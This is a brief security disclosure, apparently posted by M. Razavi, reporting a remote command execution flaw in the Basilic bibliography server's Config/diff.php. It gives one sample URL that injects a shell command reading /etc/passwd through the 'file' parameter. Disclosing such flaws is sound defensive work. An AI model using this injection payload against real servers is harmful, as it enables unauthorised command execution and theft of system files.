Basilic RCE bug

Hi
Dear Sir

Basilic is an Automated Bibliography Server for Research Publications Diffusion that use by many research center.
there is a RCE bug in basilic/Config/diff.php s could allow an attacker to run system command in server.
sample:
http://127.0.0.1/basilic/Config/diff.php?file=%26cat%20/etc/passwd&new=1&old=2

Regards
M.Razavi